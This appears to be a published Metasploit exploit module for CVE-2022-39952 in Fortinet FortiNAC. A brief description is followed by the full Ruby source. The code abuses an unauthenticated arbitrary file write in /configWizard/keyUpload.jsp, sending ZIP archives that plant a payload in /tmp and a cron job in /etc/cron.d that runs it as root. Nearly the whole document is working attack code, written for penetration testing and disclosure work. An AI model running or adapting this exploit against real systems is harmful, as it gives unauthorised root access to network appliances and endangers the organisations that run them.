Authored by jheysel-r7, Zach Hanley, Gwendal Guegniaud | Site metasploit.com

This Metasploit module uploads a payload to the /tmp directory in addition to a cron job to /etc/cron.d which executes the payload in the context of the root user. The core vulnerability is an arbitrary file write issue in /configWizard/keyUpload.jsp which is accessible remotely and without authentication. When you send the vulnerable endpoint a ZIP file, it will extract an attacker controlled file to a directory of the attackers choice on the target system. This issue is exploitable on FortiNAC versions 9.4 prior to 9.4.1, FortiNAC versions 9.2 prior to 9.2.6, FortiNAC versions 9.1 prior to 9.1.8, all versions of FortiNAC 8.8, all versions of FortiNAC 8.7, all versions of FortiNAC 8.6, all versions of FortiNAC 8.5, and all versions of FortiNAC 8.3.

advisories | CVE-2022-39952

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Fortinet FortiNAC keyUpload.jsp arbitrary file write',
'Description' => %q{
This module uploads a payload to the /tmp directory in addition to a cron job
to /etc/cron.d which executes the payload in the context of the root user.

The core vulnerability is an arbitrary file write issue in /configWizard/keyUpload.jsp which
is accessible remotely and without authentication. When you send the vulnerable
endpoint a ZIP file, it will extract an attacker controlled file to a directory
of the attackers choice on the target system.

This issue is exploitable on the following versions of FortiNAC:

FortiNAC version 9.4 prior to 9.4.1
FortiNAC version 9.2 prior to 9.2.6
FortiNAC version 9.1 prior to 9.1.8
FortiNAC 8.8 all versions
FortiNAC 8.7 all versions
FortiNAC 8.6 all versions
FortiNAC 8.5 all versions
FortiNAC 8.3 all versions
},
'Author' => [
'Gwendal Gu├ęgniaud', # discovery
'Zach Hanley', # PoC
'jheysel-r7' # module
],
'References' => [
['URL', 'https://www.horizon3.ai/fortinet-fortinac-cve-2022-39952-deep-dive-and-iocs/'],
['URL', 'https://www.fortiguard.com/psirt/FG-IR-22-300'],
['URL', 'https://github.com/horizon3ai/CVE-2022-39952'],
['URL', 'https://attackerkb.com/topics/9BvxYuiHYJ/cve-2022-39952'],
['CVE', '2022-39952']
],
'License' => MSF_LICENSE,
'Platform' => %w[linux unix],
'Privileged' => true,
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 8443,
'WfsDelay' => '75'
},
'Arch' => [ ARCH_CMD, ARCH_X64, ARCH_X86 ],
'Targets' => [
[ 'CMD', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' } ],
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ],
[ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2023-02-16',
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
end

def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'configWizard', 'keyUpload.jsp'),
'method' => 'POST'
})

return Exploit::CheckCode::Unknown('Target did not respond') unless res
return Exploit::CheckCode::Safe("Target responded with unexpected HTTP response code: #{res.code}") unless res.code == 200
return Exploit::CheckCode::Appears('Target indicated a successful upload occurred!') if res.body.include?('yams.jsp.portal.SuccessfulUpload')

Exploit::CheckCode::Safe('The target responded with a 200 OK message, however the response to our POST request with a blank body did not contain the expected upload successful message!')
end

def zip_file(filepath, contents)
zip = Rex::Zip::Archive.new
zip.add_file(filepath, contents)

zip.pack
end

def send_zip_file(filename, contents, file_description)
mime = Rex::MIME::Message.new
mime.add_part(contents, nil, 'binary', "form-data; name="key"; filename="#{filename}"")

print_status("Sending zipped #{file_description} to /configWizard/keyUpload.jsp")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'configWizard', 'keyUpload.jsp'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
'data' => mime.to_s
})
fail_with(Failure::Unknown, 'Failed to send the ZIP file to /configWizard/keyUpload.jsp') unless res && res.code == 200 && res.body.include?('yams.jsp.portal.SuccessfulUpload')
print_good('Successfully sent ZIP file')
end

def cron_file(command)
cron_file = 'SHELL=/bin/sh'
cron_file << "n"
cron_file << 'PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin'
cron_file << "n"
cron_file << "* * * * * root #{command}"
cron_file << "n"

cron_file
end

def exploit
cron_filename = Rex::Text.rand_text_alpha(8)
cron_path = '/etc/cron.d/' + cron_filename

case target['Arch']
when ARCH_CMD
cron_command = payload.raw
when ARCH_X64, ARCH_X86
payload_filename = Rex::Text.rand_text_alpha(8)
payload_path = '/tmp/' + payload_filename
payload_data = payload.encoded_exe
cron_command = "chmod +x #{payload_path} && #{payload_path}"

# zip and send payload
zipped_payload = zip_file(payload_path, payload_data)
send_zip_file(payload_filename, zipped_payload, 'payload')
register_dirs_for_cleanup(payload_path)
else
fail_with(Failure::BadConfig, 'Invalid target architecture selected')
end

# zip and send cron job
zipped_cron = zip_file(cron_path, cron_file(cron_command))
send_zip_file(cron_filename, zipped_cron, 'cron job')
register_dirs_for_cleanup(cron_path)

print_status('Waiting for cron job to run')
end
end